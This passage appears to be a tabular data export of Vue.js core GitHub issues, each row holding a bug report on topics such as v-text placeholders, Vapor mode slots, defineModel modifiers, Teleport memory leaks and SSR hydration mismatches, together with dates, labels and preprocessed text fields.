https://play.vuejs.org/#eNp9kU9Lw0AQxb/KuJco2Iaip5IW/FNQDyoqeNlLSCfp1s3usjsbCyXf3dmEag/S47z3Zvg9Zi9unJt2EcVcFKHyyhEEpOiW0qjWWU+wB4819FB720LG0UwaaSprAkEbGlgk/zx7QK0tfFqv12fZhTRFPp7jQzwQtk6XhDwBFJsZdBPCHS2k4BNSLO+xLqMm6Eodscg3szGojIssTlq7Rn0IQ85mkR+dFJeCAhPVqplugzVcZp/2pahs65RG/+JIMbEUcxic5JUM/P00aOQjXh70aoPV1z/6NuySJsWrx4C+Qyl+PSp9gzTaq/dnrnZkMn3UnD5hvmGwOibGMXYbzZqxj3ID7ePwEmWaj7DaEZpwKJVAU7If8lLwm+5OVP/DvZpeD3vS9KL/AVsQrcg=

### Steps to reproduce

Set your node env to production with some default values applied. e.g.

```html
<span v-text=""price"">0,00</span>
```

Try to build and load the page.

### What is expected?

Since we're only using Vue for interactivity which loads later we want to use placeholder values. E.g. using Laravel for your SSR you could use this for a product listing:
product.blade.php
```blade
<product :product=""{{ $product->toJson() }}"" v-slot={ price, productOptions, availableOptions }>
    <div>
        price: <span v-text=""price"">{{ price($product->price) }}</span>
        <label v-for=""(option, id) in availableOptions""><input type=""radio"" v-model=""productOptions[id]""> @{{ option.label }} @{{ option.price }}</label>
    </div>
</product>
```

Allowing a placeholder for the price instead of causing many layout shifts due to vue booting up. And then allowing Vue to take over later to update the price, for when you select different options

### What is actually happening?

You are greeted to a w... [TRUNCATED]",,2025-11-03 16:41:35+00:00,2025-11-04 02:47:51+00:00,2,nan,0.421,v text v html will override element children forces shutdown vue version link to set your node env to production with some default values applied e g try to build and load the page what is expected since we re only using vue for interactivity which loads later we want to use placeholder values e g using laravel for your ssr you could use this for a product listing product blade php allowing a placeholder for the price instead of causing many layout shifts due to vue booting up and then allowing vue to take over later to update the price for when you select different options what is actually happening you are greeted to a w truncated,others,0.7783
vuejs/core,3579680736,Vapor Mode - Unable to use template-only component in slot if component is template-only,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqtUstOwzAQ/BVjriRBFHEopRKgHsoBECBxsYSsdJu6OLZlO6FS1X9n7TRpilq4cLNnZp+za3prTFpXQId05HIrjCcOfGVIzY22RHJV3DDqHaNjpkSJmCfvIHNdwtRDSeZWl4TRNOuBIR+j153+XpdmJwy/TjHKmqKYHD8YayT3gD9CRr2MEUCoFZBTkWu1RRGPFbJWle3n6beGyB5Nz3A2TDUXRbp0WuEa1iGIUYwwQoJ9Ml5ohfMPSWQCx6XUXw8R87aCsxbPF5B/HsCXbhUwRp8tOLA1zt5xntsCfENPXh9hhe+OLPWskqj+hXwBp2UVemxkd5WaYds9Xex2Gq0Qqnhzk5UH5dqhQqNBuYl6RtGZsM1jo+/aHaSXMY6pDW7xh/3hnE6ShPx1U53/JEmCN/vOzURNcsmdQ7lAKh5htNhJ7YniJQQG/WtSIbi1HCMPWN2e3r91N/bgcKlHC37UYMOmseAgvUrPEy7NgqcXdPMNJtMlpw==

### Steps to reproduce

1. Prepare 2 template-only components (named `A` and `B`)
```vue
<!-- A.vue -->
<template>
  <div><slot /></div>
</template>

<!-- B.vue -->
<template>
  <div>Testing</div>
</template>
```

2. in `App.vue`, use `A` and `B` component, with `B` in `A`
```vue
<!-- App.vue -->
<template>
  <A><B /></A>
</template>
 ```

3. Ensure vue is in vapor only mode (or `App.vue` is in vapor mode)
4. Go to website

### What is expected?

Vue should render `App.vue` like non-vapor mode (VDOM mode?)

with `<div><div>Testing</div></div>` as rendered content

### What is actually happening?

Error occured when rendering:
```
Uncaught TypeError: can't access property ""insert"", block is undefined
    insert https://cdn.jsdelivr.net/npm/vue@3.6.0-alpha.2/dist/vue.runtime-with-vapor.esm-browser.js:13114
    insert https://cdn.jsdelivr.net/npm/vue@3.6.0-alpha.2/dist/vue.runtime-with-vapor.es... [TRUNCATED]",,2025-11-02 16:03:26+00:00,2025-11-03 00:36:49+00:00,1,nan,0.3565,vapor mode unable to use template only component in slot if component is template only vue version alpha link to prepare template only components named and in use and component with in ensure vue is in vapor only mode or is in vapor mode go to website what is expected vue should render like non vapor mode vdom mode with as rendered content what is actually happening error occured when rendering uncaught typeerror can t access property insert block is undefined insert insert truncated,others,-0.2023
vuejs/core,3574245801,lazy model modifier not working with defineModel,"### Vue version

3.x

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU01v1DAQ/SuDL2mlkj2UU8lWAlREkSgIkLj4kiazwcWxjT+WXYL/O2ObTbe03d7sec8zb2aeJ/bKmHodkJ2xxnVWGA8OfTAgWzUsOfOOs3OuxGi09TCBxRVEWFk9QkXPqhm6VCb4twJlX1DO6sVtLJXg7CVXnVbOw+gGWKZcR9U7lFLDN21l/6w6ngnbqzBeoy2sxnkr1AB/QOXo+VF1Wh1TtmZRNJNCungcjWw90g2g2RO0fj7qHmUt299b6omqcwaLTINGJN7jFMr7QKaiIxH/CX004SHmtc2HcQsjOtcOeAbTlIcT4x5YUhRsN5cYU/d7HbMT2hUNbyWG+sZpRQud0nvOOj0aIdF+NF7QcDmjTLk+YS0N/9f7HPM24Mku3n3H7scD8Ru3STHOPll0aNe01BnzrR3QF/jiyxVu6DyDNIwgiX0A/IxOy5A0FtrroHqSvcfLai+z38gOX93FxqNyu6aS0MSMmc8ZWe7NgdZv5Z7WL/I7riJN8a5pn/gXAMWvZedL6HElFH5Im79v2vR7fgZhsS9iIT7l4V6si1X+cxUJyPfZS82iUO9aIv4F+SVO/g==

### Steps to reproduce

In the given playground we have an `InputField.vue` that uses defineModel to manipulate the value in a native input field, if you use the number or trim modifier on it the conversion works out of the box, but if you use the lazy modifier it does not. I suppose this inconsistency is a bug or it should be documented

### What is expected?

The lazy modifier should work out of the box.

### What is actually happening?

The lazy modifier does not work, while trim or number work.

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12700H
    Memory: 10.31 GB / 31.05 GB
    Container: Yes
    Shell: 5.1.16 - /bin/bash
  Binaries:
    Node: 22.14.0 - /home/michael/.nvm/versions/node/v22.14.0/bin/node
    Y... [TRUNCATED]",,2025-10-31 10:03:39+00:00,2025-11-02 01:25:03+00:00,1,nan,1.6399,lazy model modifier not working with definemodel vue version x link to in the given playground we have an that uses definemodel to manipulate the value in a native input field if you use the number or trim modifier on it the conversion works out of the box but if you use the lazy modifier it does not i suppose this inconsistency is a bug or it should be documented what is expected the lazy modifier should work out of the box what is actually happening the lazy modifier does not work while trim or number work system info shell system os linux ubuntu lts lts jammy jellyfish cpu x th gen intel r core tm i h memory gb gb container yes shell bin bash binaries node home michael nvm versions node v bin node y truncated,others,-0.431
vuejs/core,3574160009,BUG：The SVG width was rendered incorrectly,"### Vue version

3.4.35

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/JXFXJu2CLiggASIAxwAAUdLKHW3icG1LXuTBqH+O+tYDU8hJZJ3ZnY9O8m7OPd+2rUoTkQZVdCeICK1/kxaactZhnJBuPamIuQKoNwrCnhqEDZ6SQ24FRAXSgdlEGLjWrOEBcLB8dz3E1i0BJqfCM6aNziYMwpFkSfFrs5TTqVgvRTQoK4bGstO42bheq7nME/N6ZVi6Ob+fGkuAFTSpbYRePsBrLQxDFGobPRVQEufXPihjRTcKzK4v0pXfocLoy2qyjMdXGuXv/hxqx1zVs6y27z5jFfnUzn7Eq2YCIrK2ZWupy/RWf4w70kshXJrrw2GO0/a2SjFCQxM4ipj3OZmwCi0ONnhqkH1+gf+EvuESXEfMGLoUIqRoyrUyJkk+urxFns+j+TaLVsO+z/yAaMzbfKYZRccDdv+ohvcXq+9C6Rt/RSvekIbd0slo0m5HfRS8N95+c/qn3YPp0dDn7RbTvG5w5BmcoBMTA+PxfYD8dzpuw==

### Steps to reproduce

 The width of the circle should be 150px, but it is only 100px 

### What is expected?

The width of the circle is displayed as 150px normally

### What is actually happening?

 The width of the circle should be 150px, but it is only 100px 

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-31 09:43:55+00:00,2025-11-01 14:28:08+00:00,1,nan,1.1974,bug the svg width was rendered incorrectly vue version link to the width of the circle should be px but it is only px what is expected the width of the circle is displayed as px normally what is actually happening the width of the circle should be px but it is only px system info any additional comments no response,bug,-0.5859
vuejs/core,3568783567,infinite loop,"### Vue version

3.5.19

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kT1Ow0AQha8y2sZECrEQVJGJFFAKKAAB5TaRM3Y2rGdX+5NEsnwCas5BxZUQx2C8UUIKlG7nvbcz32haMbV2tI4oxqLwpVM2gMcQ7USSaqxxAVpwWEEHlTMNZBzNJEmqIpVBGYIaw3R6NmglAYSlMxsg3MDMOePOsu+v95/Pj2wgqZNU5LsB3JqLgI3V84BcARTLi0nb7ntB1xU5K8lRZGOA9XljFqivpWh8LQXkbBb5UQ8xFMGXhipVj1beEO+TkKQoTWOVRvdoe14vxRiS03tzrc3mPmnBRRzu9XKJ5ds/+spve02KJ4ce3RqlOHhh7ph/Z89eHnDL74PJ9FFz+oT5jN7o2DPuYjeRFox9lEu0d+kqiupXP9sGJL9fqgftk13KS8GXuj2x+h/u5egq/eMjie4XUXew+w==

### Steps to reproduce

模板里调用函数进行报错

### What is expected?

不出现死循环

### What is actually happening?

看代码

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-30 03:27:47+00:00,2025-10-30 03:33:14+00:00,1,nan,0.0038,infinite loop vue version link to what is expected what is actually happening system info any additional comments no response,others,-0.296
vuejs/core,3561956033,`after-enter` event triggered even when `transition` wrapped in `keep-alive` never shows its child,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BXjS4tEkwOckFvxUA9wAAQcfQnppjV1bMt2SqUo/86u05Ty6iGxvTs7O2tPy6+dyzYN8EsuQumViyxAbNxMGlU76yNrmYeKdazytmYjhI72qVtbu108y+lATJiWprQmINPKfrAp1Y+rQgc4lUbkfRfkx0OE2ukiAp4Yo0+8NTFaw65Krcr1VPIdxQmtks9ouWRt21N3ncj7gkSH5WsANym02vSUGEkaNxNV7ciQRCStCSDybxUiP1DEz3gMOEilltl7sAavqE06eYnlSoN/dFHhoJKjpL6d5IXW9uM+xaJv4GyIlyso13/E38OWYpI/eQjgNyD5PhcLv4TYp+cvD7DF/T5Z20WjEX0k+QzB6oY09rCbxixQ9gEuqb1Lr6nM8jXMtxFMGIYioYTsEl5yfF26uf9G/5J7nl2kOmk6vMXBGX94bHDKqiBl11UEPzf4wycfn7LprCcnjNWQabscjwoCTYBQIzQU9jjiKfHqC5yHtLKrg0o0w8+WaIydZcgvZBUEJdti5nal9ELkg2m+WH+ZpvsEx1wfEg==

### Steps to reproduce

Click the button repeatedly, and you’ll notice that `after-enter` is logged in the console.

### What is expected?

The `after-enter` event should not be triggered when no transition is applied.

### What is actually happening?

The `after-enter` event is triggered even when the element wrapped in a `transition` is never displayed.

### System Info

```shell

```

### Any additional comments?

[discussion #14030](https://github.com/orgs/vuejs/discussions/14030)",🔩 p2-edge-case,2025-10-28 14:49:08+00:00,2026-05-27 08:56:46+00:00,0,🔩 p2-edge-case,210.7553,event triggered even when wrapped in never shows its child vue version link to click the button repeatedly and you ll notice that is logged in the console what is expected the event should not be triggered when no transition is applied what is actually happening the event is triggered even when the element wrapped in a is never displayed system info any additional comments discussion,others,-0.296
vuejs/core,3555546835,"change data quickly by click or setInterval, get detached dom inscrease in devtools","### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVM1y0zAQfpUdnRxInZZyMkmHUnooMwUGesMchLNO1MiSR5LTZjJ+d1aS7fy05AnIJfJ+q91vv93Vll3XdbpukGVsagsjagcWXVNf5UpUtTYOtqDVvW6Uw/kYDPLCiTVCC6XRFeSM7ubsQ64KrayDmi/wM3ccZoNrss0VwAo3GSh8AkIxGaULdA+iotPYo4pXmFEwrGq3CUFyFoBiKeTcoMrg128ytKMh05KrucQb+hsyJiOYXUFIJ0pIei6pjw6z2YwSeNtFzkbRCwa+nU/n8S5UdIATf4JfK+DYs6dM7tfG8E3qhUq2IFEt3DKDi/Pzc2hHacXrJDKOCvnfP1WCt3DP3TI1VDVFi6r5X69coalbCpXLWe9bSq1NcnAN3oT0u+tH+npTO4oltYDS4mmhSMr/QrU0l3QYtqQjG7hOJqBrKtEthQWnabcQKqy02VCZfAUltw6N96Stu6PbZs3lfgB4MeidkO0YLokgncNSTCdxe2lv6cPRIklShr4ApnOxhkJya2c5W6KUOmcBIOhP45xW8LGQolh5+CgZeQaI6vcmmJNtOom3+hg+fOaBM6FKTUEOZoVkzqhb+2b6HBjsOKzPSm3ILSgNQr0clF2oYDmKA7DdxjbFGW2pL12GI8ITYhyV6U7TyZ5gbMycpTemFIv00WpFL2PoRBwdIdF8q52gNyhnWd+jnHGS9elLsDnTYDcinikWq1fsj/bZ23L23aClrvcPnsccNzTPEb79+RWf6TyAlZ43krxPgD/Qatl4jtHtU+Obavb8Atu78L4LtXiwt88Ole2L8kTjiMW66Ym/OVH6ju5l+r5fCNb+BbqeBeY=

### Steps to reproduce

1. The faster the data changes, the more likely it is to occur.
2. The more complex the component, the more likely it is to occur.

### What is expected?

1. detached dom keep normal

### What is actually happening?

<img width=""1077"" height=""389"" alt=""Image"" src=""https://github.com/user-attachments/assets/391f4157-09f6-48bc-9169-f55c6ad0c48b"" />

### System Info

```shell
Chrome Version 141.0.7390.123 (Official Build) (x86_64)
```

### Any additional comments?

_No response_",,2025-10-27 08:05:38+00:00,2025-10-30 00:59:16+00:00,1,nan,2.7039,change data quickly by click or setinterval get detached dom inscrease in devtools vue version link to the faster the data changes the more likely it is to occur the more complex the component the more likely it is to occur what is expected detached dom keep normal what is actually happening system info any additional comments no response,others,-0.4939
vuejs/core,3553375893,[DEFECT]Toggle not working correctly when component v-model get is removed from modified,"### Vue version

^3.4.27

### Link to minimal reproduction

https://github.com/hinlocaesar/Bug-Report-Vue-Toggle-Input-Custom-Modifier-Get

### Steps to reproduce

[Replicate Issue]
1. Make sure the get modifier for the custom component v-model is hidden in the code.
2. Toggle it on and off.
**Result: The toggle does not respond immediately.**

[Replicate Expected Behavior]
1. Make sure the get modifier for the custom component v-model is applied in the code.
2. Toggle it on and off.
**Result: The toggle responds immediately n a single click**

### What is expected?

Result: The toggle responds immediately in a single click

### What is actually happening?

The toggle does not respond immediately when the **get** custom v-model is removed

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (6) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.4.27 => 3.5.22
```

### Any additional comments?

I tried to replicate issue both on local and stackblits",,2025-10-26 07:16:07+00:00,2025-10-26 07:19:59+00:00,0,nan,0.0027,defect toggle not working correctly when component v model get is removed from modified vue version link to replicate issue make sure the get modifier for the custom component v model is hidden in the code toggle it on and off result the toggle does not respond immediately replicate make sure the get modifier for the custom component v model is applied in the code toggle it on and off result the toggle responds immediately n a single click what is expected result the toggle responds immediately in a single click what is actually happening the toggle does not respond immediately when the get custom v model is removed system info any additional comments i tried to replicate issue both on local and stackblits,others,0.296
vuejs/core,3552119400,Dynamic component tag names from slot props fail to resolve in Vue templates,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kk1PwzAMhv+KyWVDGu0BTlM3BNMOcIAJOOZStd6WkSZR4o5JVf87brovTYxLVNuv3z520ogn55JtjWIsslB45QgCUu2m0gCoyllP0ECJS2VwZjk2aAhaWHpbwYAbB9J00sKaQDBbK12eZJPLxuHwFiZT6M/BGrW2N4Pbc4dF7q90Om9dGDFM0JYCtNGj6ToBPCN7s/eN9ceEDfJa07DpqcaXcC3/F+KZpf3kPDMHhJXTOWHcQLbn2d51rhMp9m7QShEFLImJtJenvZ6DLD0zEiNBgQdcqlWyCdbwtiO5FAXzKI3+3ZHiBUgxPswkRc7r+XmNOfI1jg75Yo3F9x/5Tdh1OSkWHgP6LUpxrFHuV0h9ef75hjv+PhYrW9aa1f8UPzBYXXeMvey5NiVjn+ki7Ut8McqsvsJ8R2jCYagONO476qXgl9NdxbXRT7j3yUPsk6YV7S+KCuLN

### Steps to reproduce

1. Open the SFC Playground link
2. Observe the error message: ""Failed to resolve component: Child""

### What is expected?

I expect the `Child` component to be resolved and rendered without any errors.

The component can be switched reactively when its name comes from script binding metadata ([playground link](https://play.vuejs.org/#eNqNUstOwzAQ/JXFlxapasXjVKXlJQ5wAAQcfQnJJnXr2pG9LpWq/jvrmD5UKOISbXZ2xjNrr8RN0/QXAcVQZL5wqiHwSKEZSwOg5o11BCsosVIG7yz/GzTUg4LLQFj2wGEFa6icnUOHdTrSRGZhjSe4myhdbllnMDoU6nZPYTSG9O1MUGsLZ53TYwrn/1M4jwo7DbJ1rZGpbLVb5drj4QGMbQJ96yVOf5HrgHD1I8jw0BgrZoO0P94c/xDOG50TtnvMPgKRNXBdaFXMRlJsLZ2kSopxKrJBGk209pAB19lgT0/0BHl2X6m6P/XW8NWt4rgUMYTS6J4bUpxOiiG0SMRy3sznY9sjF7C36RcTLGa/9Kd+GXtSvDj06BbscYtR7mqkBN+/PeGS6y04t2WIif4AX9FbHaLHNHYbTMm29+Zatw/t81Omfvf3S0LjN6Gi0Ti5buel4HcXr+JY9J3di/5ly5NmLdZfGWf9TA==)).

I believe that slot prop binding names can also be extracted by analyzing the AST.

### What is ac... [TRUNCATED]",,2025-10-25 08:36:37+00:00,2025-10-25 18:05:34+00:00,2,nan,0.3951,dynamic component tag names from slot props fail to resolve in vue templates vue version link to open the sfc playground link observe the error message failed to resolve component child what is expected i expect the component to be resolved and rendered without any errors the component can be switched reactively when its name comes from script binding metadata playground link i believe that slot prop binding names can also be extracted by analyzing the ast what is ac truncated,others,0.0093
vuejs/core,3545353823,Teleport memory leak,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U11y0zAQvsoimHE6KU5oCw/BzfAzfYAHYChviJm6ziZRq0gaS07DeHwPDsApeOA4cA1Wsuy0jCcvtvR9+62+Xa1q9tqYdFshm7HM4cbI3OGcK4DsunJOK3hVSFHcnnOm1eVa33E2//Pj99+fv7JJG9AGO5RodOlg5jTFOk1xniBqIbawfWpJS4T/9VQkC5lb60UxB2cUv9QlQYIsgVCgjRNa2XtKgLr2bCrza5RN02ecUMru6H6dTbrktPWbvtDMFqUwDiy6ytBebEIZNZS4hAaWpd5AQv1JuOKqIA8OnIZzT4+Sx7kxyVGH+9oi48oKCe+YaJ/Ir95N3drb5rLCGSQfA/ssOW7hUND/cBO+g8KTYWGEDwhPh4URPiA8GxZG+IDw+bAwwl74zTeN7h5GEh0I6tj0Jf0yOJlO/Wo8PmpTx5amprLr0cPDrtqsT2oBY3jRXD08c5Bt6LJohOjoShWehnbaR/E0f7VpSE+OHu13QZVN2hkK0+S+SwRbaIML2gfSQ3N2zBzBailW6Y3Vit5byMxZoTdGSCxbXzTjs655nOVS6rv3AfMjFSshzRqL2wH8xu48xtmnEi2WW+Ss51xerpAel6cvLj/gjtY9udGLSlL0AfIzWi0r77ENe1OpBdm+FxfcvgsPSKjVF3uxc6hsV5Q3up8PzuhRvT1Q+t7uaXoWdNRs1vwDwNiFbA==

### Steps to reproduce

click `button`

### What is expected?

No memory leak

### What is actually happening?

Using `v-show` or `v-if` witn `Teleport` can cause memory leaks
<img width=""1915"" height=""883"" alt=""Image"" src=""https://github.com/user-attachments/assets/a563cc9a-79e0-4991-8976-e3e8e045d9b1"" />


### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-10-23 15:53:55+00:00,2025-10-24 06:19:47+00:00,1,can't reproduce,0.6013,teleport memory leak vue version link to click what is expected no memory leak what is actually happening using or witn can cause memory leaks system info any additional comments no response,others,-0.802
vuejs/core,3543558021,CustomElements - Styles from subcomponents not injected anymore,"### Vue version

3.5.19

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-i3rghipa?file=src%2Fmain.js,src%2FApp.ce.vue&terminal=dev

### Steps to reproduce

1. Create a SFC ""App.ce.vue"" with some styles and a subcomponent that has styles to.
2. Import App.ce.vue in main and log (App.styles)

### What is expected?

App.styles should have all styles from all referenced components.

### What is actually happening?

App.styles does not have the styles that are defined in the subcomponent.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-23 07:47:17+00:00,2025-10-23 09:15:41+00:00,1,nan,0.0614,customelements styles from subcomponents not injected anymore vue version link to create a sfc app ce vue with some styles and a subcomponent that has styles to import app ce vue in main and log app styles what is expected app styles should have all styles from all referenced components what is actually happening app styles does not have the styles that are defined in the subcomponent system info any additional comments no response,others,-0.0258
vuejs/core,3535764080,Loss of reactivity on DOM related objects,"### Version
3.6.0-alpha.2

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqtk99r2zAQx/8VoZcmtLPLOvbQOWFbl4cNto60j4Lh2ZdErSwZ/XADxv97T3LjKk4IfWgIWNJ97/S5O11Lv9V10jig1zQzhea1JQasq+dM8qpW2pKWaFiRjqy0qsgZSs++RLY7XAm4EbkxgyZJo9Pkwew5/Lj9vQSRWyjHTiPLiyOThZIGqV5DLpFn5qkmEp5igsl0ih69vlRVHG3fZ3RV75elfQEwddxYwLCowB3BX1byZh4xkCYXDq5J247IEukq0nVZ6h1efP87a5UkXwvBi8cZoyMPLgsNFUjL6HxYx2GztI8QyAaaUYYR0WHub6E64nWcbCSM6LI0KhuT9IJag+1Y8TV2U0l8ZK2/nNFCVTUXoG9ry7FdjCJ3j8VoLoR6+hXOrHZwsTsvNlA8Hjl/MFt/xuhfDQZ0A4wONpvrNSC9Ny/u/sAW14OxUqUTqD5hXIJRwnnGXvbdyRKxI12g/RleN5fre7PYWpBml5QH9cou6BnF8bk5kfor7lXyKfgx2WEV9+cJywjbME5FaHw8gyFUmADtCqv0ZLqLbjfchGcwI5f42kNs/xn6eig9P98J8Y8YhxM6RhlPN9YUZGnIosEL7kN2JxCNqwG34dJ3Af7XgPa9QMyr5HNy+SEX9SZPPtLuGXMCsyo=)







### Steps to reproduce
Press each buttons on the example to increment the property of each class.

### What is expected?
When pressing each button, the property of the related class should be updated and vuejs should render the new value since both class are reactive.

### What is actually happening?
DOMRelatedClass do not trigger a rerender when its property is updated.

---
Bug is also present on DOMPoint, it is on that one that I first encountered the bug when I was creating a 2d rendering engine with canvas.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-10-21 09:35:51+00:00,2025-10-23 14:15:38+00:00,3,nan,2.1943,loss of reactivity on dom related objects version alpha play vuejs org press each buttons on the example to increment the property of each class what is expected when pressing each button the property of the related class should be updated and vuejs should render the new value since both class are reactive what is actually happening domrelatedclass do not trigger a rerender when its property is updated bug is also present on dompoint it is on that one that i first encountered the bug when i was creating a d rendering engine with canvas,others,-0.3182
vuejs/core,3514691930,TransitionGroup: Incorrect move animation when element has transform: scale(),"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01v2zAM/SucD3ULJE6zdRcvHfaBHrbDNmy7zTuoMpOokSWBkt0UQf57KTl2cmiL+iS990g+0tQu++xc0bWYldnCS1IugMfQOtDCrK6rLPgq+1gZ1ThLAXZAuIQ9LMk2kHNYXpnKSGt8DNMoA9ZwHUXnS6E9XlRmMevTchK+BGycFgH5BrCoVQdSC++5ECcJQhmkVA/4WwQSxqugrJmuyLbugB8CN/jAYbd2W2VQDln+5Qzkk6OZszPIh0v+n6WfpFZyw9ITv2+GM9dezDj54GD2pIVBwvSxHb768KARvLQOa0aKsSXYxbBbSzVSCW/dFrzVqgZpSegPkWsErZRh7vKSWdEGm+B7VYd1CVcRTYDwjo1OSbClEuaM7WPpgrt+tshaUCBsPb42JUBqe2mpmVpSyZhEE5DGeuPwUtFRXnL3QuP5vHh/MWq7aWM7PFH286zbVJJzz32v5VWJE+TRZRNePB7fUq2KO28Nb2cKj2vSOKWRfroYy8tZ9okjJ7S2998TFqjFyYDLNcrNE/id590p+fCL0CN1WGUjF/iHYOjpmz8/cMvnkWxs3WpWv0D+Rp5+Gz32si+tqdn2iS65/ZbelTKrv/5mG5Bnc2gqGo3KfdJXGb+1ry+0frT7rrhKcTzRbP8IKGlOwQ==

### Steps to reproduce

- just click box

### What is expected?

- should not trigger move behavior of `TransitionGroup`

### What is actually happening?

- box jumps to an incorrect position, then the transition animation starts, gradually moving to the expected position.

### System Info

```shell

```

### Any additional comments?

In Vue’s `<transition-group>`, element movements are detected by comparing their positions using each element’s `DOMRect`. When a move is triggered, at time 0s, the element is temporarily translated to its previous position using the `transform: translate(...)` property, and then a transition animation begins.

However, if an element already has a `transform` property that includes scaling (e.g. scale(...)), the co... [TRUNCATED]",,2025-10-14 16:35:24+00:00,2025-10-15 01:39:57+00:00,1,nan,0.3782,transitiongroup incorrect move animation when element has transform scale vue version link to just click box what is expected should not trigger move behavior of what is actually happening box jumps to an incorrect position then the transition animation starts gradually moving to the expected position system info any additional comments in vue s element movements are detected by comparing their positions using each element s when a move is triggered at time s the element is temporarily translated to its previous position using the property and then a transition animation begins however if an element already has a property that includes scaling e g scale the co truncated,others,0.0
vuejs/core,3511901002,Text interpolation handling of carriage return causes hydration mismatch,"### Version
3.5.22

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#__SSR__eNp9kNFLwzAQxv+VmJcpjA43fZl1oDJQH1RU8OVASnvtOtMkJGktlPzvXlI29zD2lrvvd5fvvoHfaZ10LfIlT21uau2YRdfqFci60co4NjCDJfOsNKphwIkFfgMSZK6kdayxFbsNyPnkEYVQUwADIL+UEcXZ5ILIdDYuppVUOGy0yBxSxVi6uVwNQ9zhfTqjKuAHCJ9yZ+mjsq6SrVWSbA5hEHiuGl0LNK/a1WQE+JJFJWgZ+fh9jj1nWpzu+vkG858j/a3tQw/4m0GLpqML95rLTIVulNcfL9jTey82qmgF0SfEd7RKtMHjiN23siDbB1x0+xTDrmX1ade9Q2l3RwWjgfSRj/k/nDj93+4iuYpzID2l+N2hCTspwEVynczn3P8BJjSm2Q==)


### Steps to reproduce
Load the page so that Vue hydrates the SSR HTML.

### What is expected?
Similar to [HTML parsing](https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream), I expect Vue to [normalize newlines](https://infra.spec.whatwg.org/#normalize-newlines) by replacing every CRLF with a LF and then replace every remaining CR with a LF.

### What is actually happening?
Vue renders the CRLF on the server as is. During hydration, Vue expects CRLF on the client. But the browser has replaced the CRLF with LF during parsing, causing a hydration mismatch.

---
Hydration mismatch also occurs when interpolating a CR that is not followed by LF.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-10-14 00:27:04+00:00,2025-10-14 02:21:00+00:00,0,nan,0.0791,text interpolation handling of carriage return causes hydration mismatch version play vuejs org load the page so that vue hydrates the ssr html what is expected similar to html parsing i expect vue to normalize newlines by replacing every crlf with a lf and then replace every remaining cr with a lf what is actually happening vue renders the crlf on the server as is during hydration vue expects crlf on the client but the browser has replaced the crlf with lf during parsing causing a hydration mismatch hydration mismatch also occurs when interpolating a cr that is not followed by lf,others,0.1779
vuejs/core,3505108673,migration build: COMPILER_V_BIND_PROP incorrectly implies v-bind:foo.prop was removed,"### Vue version

any vue3

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kl1LwzAUhv/KMTfZYHYMvZrdhspAvVCZA29yU9rTj9kmIUnnoPS/e5I6nSC7zHmfvH1OScdutY72LbI5i21qKu3Aomv1Usiq0co46MBgPoHW4hYbXScON5hDD7lRDXC6yoUUMlXSOmhsAQvPj/gD1rWCd2Xq7IKPj0CJSYaGmL91Iz4EfHwjZDwdREiBDu6bohNAXM58+0KwgRcM5rlSkTZK07BzeHBz6qJP816wZdcFpb6Pp+VsaKikbh3sLxuVYU13KKeWaQgJH3pXkW/1bbBaAefU4L1OXNiEOUs75VUR7ayS9P86XyFYqhpd1WhetKtoZ8HmEBKfJST2+RRmzrQ4Oc7TEtOPf+Y7e/AzwV4NWjR7FOwnc4kp0A3x+u2ZXE9C2q6tiT4TbtCquvWOA3bXyoy0T7hg+xheQSWLrV0fHEp7XMqLerIPvGD0Eu7PrP6rexVdh3tC9qz/Ao5P1Xg=

### Steps to reproduce

Read the available compat flags listed at https://v3-migration.vuejs.org/migration-build.html
Observe it says `v-bind.prop modifier removed`


### What is expected?

Complete and also accurate lists of compat build flags.

### What is actually happening?

v-bind.prop modifier has not been removed, and the flag COMPILER_V_BIND_PROP is only referenced in the incorrect documentation

### System Info

```shell

```

### Any additional comments?

_No response_",need documentation,2025-10-11 03:32:46+00:00,2025-10-13 07:00:46+00:00,1,need documentation,2.1444,migration build compiler v bind prop incorrectly implies v bind foo prop was removed vue version any vue link to read the available compat flags listed at observe it says what is expected complete and also accurate lists of compat build flags what is actually happening v bind prop modifier has not been removed and the flag compiler v bind prop is only referenced in the incorrect documentation system info any additional comments no response,documentation,-0.296
vuejs/core,3501169123,shallowRef isn't consistent with the description in the vue3.x documentation,"### Vue version

3.5.x

### Link to minimal reproduction

